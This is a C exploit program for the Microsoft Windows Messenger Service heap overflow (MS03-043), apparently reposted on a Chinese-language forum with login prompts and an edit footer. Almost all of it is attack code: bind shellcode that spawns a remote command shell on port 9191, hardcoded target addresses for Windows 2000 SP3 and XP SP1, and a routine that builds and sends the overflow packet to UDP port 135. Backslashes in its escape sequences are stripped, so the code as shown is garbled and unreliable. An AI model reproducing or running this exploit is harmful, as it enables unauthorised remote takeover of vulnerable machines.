/************************************************* Exploit for Microsoft Windows Messenger Heap Overflow (MS03-043) based on PoC DoS by
recca@mail.ru by Adik < netmaniac [at] hotmail.kg >
訪客無法瀏覽此圖片或連結，請先 註冊 或 登入會員 。 Binds command shell on port 9191 Tested on Windows XP Professional SP1 English version Windows 2000 Professional SP3 English version access violation -> unhandledexceptionfilter -> -> call [esi+48h]/call [edi+6ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode attach debugger and c how it flows
worked fine for me -[25/Oct/2003]- *************************************************/ #include #include #include #include #pragma comment(lib,"ws2_32") #define VER "0.7" /****** bind shellcode spawns shell on port 9191 *********/ unsigned char kyrgyz_bind_code[] = { 0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9, 0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA, 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88 }; int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH); int main(int argc,char *argv[]) { int sockUDP,ver,c, packetsz,cnt; unsigned char packet[8192]; struct sockaddr_in targetUDP; WSADATA wsaData; struct { char os[30]; DWORD SEH; DWORD JMP; } targetOS[] = { { "Windows 2000 SP 3 (en)", 0x77ee044c, // unhandledexceptionfilter pointer 0x768d693e // cryptsvc.dll call [esi+48] 0x768d693e }, { "Windows XP SP 1 (en)", 0x77ed73b4, 0x7804bf52 //rpcrt4.dll call [edi+6c] }/*, { //not tested "Windows XP SP 0 (en)", 0x77ed63b4, 0x7802ff3d //rpcrt4 call [edi+6c] }*/ }; printf("n-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver %s ]=-nn" " by Adik < netmaniac [at] hotmail.KG >n
訪客無法瀏覽此圖片或連結，請先 註冊 或 登入會員 。", VER); if(argc < 3) { printf(" Target OS version:nn"); for(c=0;c<(sizeof(targetOS)/sizeof(targetOS[0]));c++) printf(" [%d]t%sn",c,targetOS[c].os); printf("n Usage: %s [TargetIP] [ver: 0 | 1]n" " eg: msgr.exe 192.168.63.130 0n",argv[0]); return 1; } ver = atoi(argv[2]); # printf(" Target: t IP: %st OS: %sn" " # UEF: t 0x%xn" " # JMP: t 0x%xnn", argv[1],targetOS[ver].os, targetOS[ver].SEH, targetOS[ver].JMP); WSAStartup(0x0202, &wsaData); printf(" # WSAStartup initialized...n"); ZeroMemory(&targetUDP, sizeof(targetUDP)); targetUDP.sin_family = AF_INET; targetUDP.sin_addr.s_addr = inet_addr(argv[1]); targetUDP.sin_port = htons(135); packetsz = PreparePacket(packet,sizeof(packet),targetOS[ver].JMP,targetOS[ver].SEH); if ((sockUDP = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { printf("[x] Socket not initialized! Exiting...n"); return 1; } printf(" # Socket initialized...n"); printf(" # Injecting packet into a remote process...n"); if (sendto(sockUDP, packet, packetsz, 0, (struct sockaddr *)&targetUDP, sizeof(targetUDP)) == -1) { printf("[x] Failed to inject packet! Exiting...n"); return 1; } else printf(" # Packet injected...n"); printf(" Try connecting to %s:9191nn",argv[1]); return 0; } /*************************************************/ int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH) { static unsigned char packet_header[] = "x04x00x28x00" "x10x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00" "x00x00x00x00xf8x91x7bx5ax00xffxd0x11xa9xb2x00xc0" "x4fxb6xe6xfcxffxffxffxffx42x69x73x68x6bx65x6bx32" "x30x30x33xffx00x00x00x00x01x00x00x00x00x00x00x00" "x00x00xffxffxffxffxffxffxffxffx00x00"; unsigned char field_header[] = "xffxffxffxffx00x00x00x00" "xffxffxffxff"; int packet_size,i,fields_size; char from[] = "NETMANIAC"; char machine[] = "ADIK"; char longjmp[] ="x90x90x90x90x90" "xEBx03x58xEBx05xE8xF8xFFxFFxFF" "xB9xFFxFFxFFxFFx81xE9x7FxEExFF" "xFFx2BxC1xFFxE0"; char shortjmp[] ="x90x90x90x90xEBx10x90x90x90x90x90x90"; char body[5000] = "*** MESSAGE ***";//4096 ZeroMemory(packet, sizeofpacket); packet_size = 0; memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1); packet_size += sizeof(packet_header) - 1; i = strlen(from) + 1; *(unsigned int *)(&field_header[0]) = i; *(unsigned int *)(&field_header[8]) = i; memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1); packet_size += sizeof(field_header) - 1; strcpy(&packet[packet_size], from); packet_size += (((i - 1) >> 2) + 1) << 2; i = strlen(machine) + 1; *(unsigned int *)(&field_header[0]) = i; *(unsigned int *)(&field_header[8]) = i; memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1); packet_size += sizeof(field_header) - 1; strcpy(&packet[packet_size], machine); packet_size += (((i - 1) >> 2) + 1) << 2; memset(body, 0x90, 2296); memcpy(&body[500],kyrgyz_bind_code,sizeof(kyrgyz_bind_code)); memset(&body[2296],0x14,1800); memcpy(&body[2296+1110],shortjmp,sizeof(shortjmp)); *(DWORD *)&body[2296+1121] = Jmp; *(DWORD *)&body[2296+1125] = SEH; memcpy(&body[2296+1129],longjmp,sizeof(longjmp)-1); fprintf(stdout, " # Msg body size: %dn", 3656 - packet_size + sizeof(packet_header) - sizeof(field_header)); body[3656 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = ''; i = strlen(body) + 1; *(unsigned int *)(&field_header[0]) = i; *(unsigned int *)(&field_header[8]) = i; memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1); packet_size += sizeof(field_header) - 1; strcpy(&packet[packet_size], body); packet_size += i; fields_size = packet_size - (sizeof(packet_header) - 1); *(unsigned int *)(&packet[40]) = time(NULL); *(unsigned int *)(&packet[74]) = fields_size; return packet_size; } /*************************************************/
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本帖最後由 philxyz0316 於 2006-7-23 21:36 編輯 ]
